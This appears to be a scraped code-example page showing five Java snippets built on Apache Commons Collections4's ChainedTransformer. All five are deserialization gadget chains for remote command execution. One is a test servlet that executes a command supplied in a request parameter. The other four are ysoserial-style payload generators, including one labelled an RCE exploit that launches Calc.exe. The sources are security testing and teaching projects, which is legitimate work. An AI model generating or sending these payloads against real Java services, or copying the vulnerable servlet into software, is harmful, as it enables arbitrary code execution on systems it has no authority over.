org.apache.commons.collections4.functors.ChainedTransformer Java Examples

The following examples show how to use org.apache.commons.collections4.functors.ChainedTransformer. You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example #1
Source File: Deserialization.java    From openrasp-testcases with MIT License 5 votes vote down vote up 
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    try {
        String id = req.getParameter("id");
        if (id != null) {
            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
                            new Object[]{"getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
                            new Object[]{null, new Object[0]}),
                    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{id})
            };
            Transformer transformerChain = new ChainedTransformer(transformers);
            Map innermap = new HashMap();
            innermap.put("value", "value");
            Map outmap = TransformedMap.transformingMap(innermap, null, transformerChain);
            Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
            ctor.setAccessible(true);
            Object instance = ctor.newInstance(Retention.class, outmap);
            File f = new File("obj");
            ObjectOutputStream outStream = new ObjectOutputStream(new FileOutputStream(f));
            outStream.writeObject(instance);
            outStream.flush();
            outStream.close();
            ObjectInputStream in = new ObjectInputStream(new FileInputStream("obj"));
            in.readObject();
            in.close();
        }
    } catch (Exception e) {
        resp.getWriter().println(e);
    }
}
Example #2
Source File: CommonsCollections4.java    From ysoserial-modified with MIT License 5 votes vote down vote up 
public Queue<Object> getObject(CmdExecuteHelper cmdHelper) throws Exception {
    
	Object templates = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray());

	ConstantTransformer constant = new ConstantTransformer(String.class);

	// mock method name until armed
	Class[] paramTypes = new Class[] { String.class };
	Object[] args = new Object[] { "foo" };
	InstantiateTransformer instantiate = new InstantiateTransformer(
			paramTypes, args);

	// grab defensively copied arrays
	paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
	args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

	ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

	// create queue with numbers
	PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
	queue.add(1);
	queue.add(1);

	// swap in values to arm
	Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
	paramTypes[0] = Templates.class;
	args[0] = templates;

	return queue;
}
Example #3
Source File: CommonsCollections4.java    From JavaSerialKiller with MIT License 5 votes vote down vote up 
public Queue<Object> getObject(final String command) throws Exception {
	TemplatesImpl templates = Gadgets.createTemplatesImpl(command);

	ConstantTransformer constant = new ConstantTransformer(String.class);

	// mock method name until armed
	Class[] paramTypes = new Class[] { String.class };
	Object[] args = new Object[] { "foo" };
	InstantiateTransformer instantiate = new InstantiateTransformer(
			paramTypes, args);

	// grab defensively copied arrays
	paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
	args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

	ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

	// create queue with numbers
	PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
	queue.add(1);
	queue.add(1);

	// swap in values to arm
	Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
	paramTypes[0] = Templates.class;
	args[0] = templates;

	return queue;
}
Example #4
Source File: RCE.java    From JavaSCR with MIT License 5 votes vote down vote up 
/**
 * Creates a Remote Command Execution Exploit based on Apache Commons Collections4 4.0
 *
 * @return a byte array containing the serialized queue
 */
private static byte[] RCEpayload() throws Exception {

  Object templates = Gadgets.createTemplatesImpl("Calc.exe");
  // Object templates = Gadgets.createTemplatesImpl("write .gitignore"); 

  ConstantTransformer<Object, Class<String>> constant = new ConstantTransformer<>(String.class);

  // mock method name until armed
  Class<?>[] paramTypes = new Class[] { String.class };
  Object[] args = new Object[] { "foo" };
  InstantiateTransformer<?> instantiate = new InstantiateTransformer<>(paramTypes, args);

  // grab defensively copied arrays
  paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
  args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

  @SuppressWarnings("unchecked")
  Transformer<Object, Object> chain = new ChainedTransformer<Object>(new Transformer[] { constant, instantiate });

  // create queue with numbers
  PriorityQueue<Object> queue = new PriorityQueue<>(2, new TransformingComparator<>(chain));
  queue.add(1);
  queue.add(1);

  // swap in values to arm
  Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
  paramTypes[0] = Templates.class;
  args[0] = templates;

  return serialize(queue);
}
Example #5
Source File: CommonsCollections4.java    From ysoserial with MIT License 5 votes vote down vote up 
public Queue<Object> getObject(final String command) throws Exception {
	Object templates = Gadgets.createTemplatesImpl(command);

	ConstantTransformer constant = new ConstantTransformer(String.class);

	// mock method name until armed
	Class[] paramTypes = new Class[] { String.class };
	Object[] args = new Object[] { "foo" };
	InstantiateTransformer instantiate = new InstantiateTransformer(
			paramTypes, args);

	// grab defensively copied arrays
	paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
	args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

	ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

	// create queue with numbers
	PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
	queue.add(1);
	queue.add(1);

	// swap in values to arm
	Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
	paramTypes[0] = Templates.class;
	args[0] = templates;

	return queue;
}